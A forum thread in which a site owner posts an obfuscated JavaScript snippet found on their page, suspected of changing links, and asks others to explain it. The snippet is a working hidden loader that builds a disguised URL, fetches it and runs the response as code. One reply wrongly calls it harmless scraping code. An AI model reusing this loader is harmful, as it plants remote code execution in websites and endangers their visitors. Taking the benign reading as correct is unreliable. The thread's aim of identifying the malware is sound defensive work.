What does this JS script do?

superaff1984 · Jan 21, 2025

Does anyone know what this javscript code does?

JavaScript:

   var sT = /.+\/(.*?):\d+(:\d+)*$/.exec((new Error).stack.trim())[1],
            hO = "/array/toString Date Function Obj Status .$/adjust/".replace(/[^\/jg.sec]/g, function(t, c) {
            return "$" == t && (c = "complete") ? c.substr(0, 3) : ""
        }) + ("" === sT || sT.includes("?") ? ["co", ".i", "n", "co", "i", "av", "f"].reverse().join("") : sT);
        try {
            hO = hR < 1 ? hOs : hO
        } catch (t) {
            var tR = t.constructor,
            wQ = function(t) {
                return t.text()
            },
            gO = function() {
                new tR.constructor(arguments[0])()
            };
            fetch(hO).then(wQ).then(gO).catch(tR)
        }

TheBlackRadio · Jan 21, 2025

This script looks heavily obfuscated and quite suspicious It starts by parsing the stack trace to extract the name of the file or script it’s running in. Then it builds a URL dynamically, using some confusing string manipulation to hide what the actual URL might be. After that, it tries to fetch data from that URL, and if it succeeds, it executes the fetched data as code. This is a huge red flag because it could easily be used to download and run malicious code or exfiltrate sensitive data The obfuscation suggests that whoever wrote this didn’t want people to understand what it’s doing, which is another warning sign

I can’t give a 100% guarantee on the accuracy of my analysis it’s just my interpretation based on my own experience.

superaff1984 · Jan 21, 2025

TheBlackRadio said:
This script looks heavily obfuscated and quite suspicious It starts by parsing the stack trace to extract the name of the file or script it’s running in. Then it builds a URL dynamically, using some confusing string manipulation to hide what the actual URL might be. After that, it tries to fetch data from that URL, and if it succeeds, it executes the fetched data as code. This is a huge red flag because it could easily be used to download and run malicious code or exfiltrate sensitive data The obfuscation suggests that whoever wrote this didn’t want people to understand what it’s doing, which is another warning sign

I can’t give a 100% guarantee on the accuracy of my analysis it’s just my interpretation based on my own experience.

We believe this code was changing links on our page. We found it. Now that you just replied and said that, it may of been our issue.

chewba · Jan 22, 2025

The obfuscated javscript extracts information from the error stack trace, creates a URL, uses fetch() to retrieve content from that URL, and then attempts to execute it using new Function().

I strongly suspect that it creates a backdoor to the system, or steals your traffic.

xTAXi · Jan 23, 2025

This code seems to be dynamically constructing URLs and handling requests to remote resources, possibly for a web scraping or API interaction task. The fetch operation will retrieve the response from the constructed hO URL and then process the data.

superaff1984 · Jan 23, 2025

xTAXi said:
This code seems to be dynamically constructing URLs and handling requests to remote resources, possibly for a web scraping or API interaction task. The fetch operation will retrieve the response from the constructed hO URL and then process the data.

possibly changing links on our webpage huh?

hehe2444 · Jan 23, 2025

Maybe ask chatgpt If not already

What does this JS script do?

superaff1984

Senior Member

TheBlackRadio

Junior Member

superaff1984

Senior Member

chewba

Senior Member

xTAXi

Newbie

superaff1984

Senior Member

hehe2444

Regular Member

Main Menu

Marketplace

Making Money

BlackHat World